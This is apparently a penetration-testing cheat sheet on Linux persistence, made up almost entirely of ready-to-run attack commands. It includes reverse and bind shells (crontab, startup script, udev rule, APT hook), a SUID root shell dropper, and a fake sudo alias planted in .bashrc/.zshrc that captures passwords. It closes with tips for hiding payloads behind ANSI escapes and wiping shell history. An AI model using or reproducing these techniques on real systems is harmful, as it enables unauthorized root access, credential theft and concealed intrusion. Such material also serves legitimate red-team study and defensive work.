130 lines
3.5 KiB
Markdown
130 lines
3.5 KiB
Markdown
# Linux - Persistence
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## Basic reverse shell
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```bash
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ncat --udp -lvp 4242
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ncat --sctp -lvp 4242
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ncat --tcp -lvp 4242
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```
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## Suid Binary
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```powershell
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TMPDIR2="/var/tmp"
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echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
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gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
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rm $TMPDIR2/croissant.c
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chown root:root $TMPDIR2/croissant
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chmod 4777 $TMPDIR2/croissant
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```
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## Crontab (Reverse shell to 192.168.1.2 on port 4242)
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```bash
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(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
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```
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## Backdooring an user's bash_rc (FR/EN Version)
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```bash
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TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
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cat << EOF > /tmp/$TMPNAME2
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alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
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EOF
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if [ -f ~/.bashrc ]; then
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cat /tmp/$TMPNAME2 >> ~/.bashrc
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fi
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if [ -f ~/.zshrc ]; then
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cat /tmp/$TMPNAME2 >> ~/.zshrc
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fi
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rm /tmp/$TMPNAME2
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```
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## Backdooring a startup service
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```bash
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RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
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sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
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```
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## Backdooring an user startup file
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Linux, write a file in `~/.config/autostart/NOM_OF_FILE.desktop`
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```powershell
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In : ~/.config/autostart/*.desktop
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[Desktop Entry]
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Type=Application
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Name=Welcome
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Exec=/var/lib/gnome-welcome-tour
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AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
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OnlyShowIn=GNOME;
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X-GNOME-Autostart-enabled=false
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```
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## Backdooring a driver
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```bash
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echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
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```
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## Backdooring the APT
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If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
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Next time "apt-get update" is done, your CMD will be executed!
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```bash
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echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
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```
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## Tips
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Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
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```bash
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#[2J[2J[2J[2H[2A# Do not remove. Generated from /etc/issue.conf by configure.
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```
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Clear the last line of the history.
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```bash
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history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null
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```
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Clear history
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```bash
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[SPACE] ANY COMMAND
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or
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export HISTSIZE=0
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export HISTFILESIZE=0
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unset HISTFILE; CTRL-D
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or
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kill -9 $$
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or
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echo "" > ~/.bash_history
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or
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rm ~/.bash_history -rf
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or
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history -c
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or
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ln /dev/null ~/.bash_history -sf
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```
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The following directories are temporary and usually writeable
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```bash
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/var/tmp/
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/tmp/
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/dev/shm/
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```
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## References
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* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
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* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
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* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
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* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
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* [Pouki from JDI](#no_source_code) |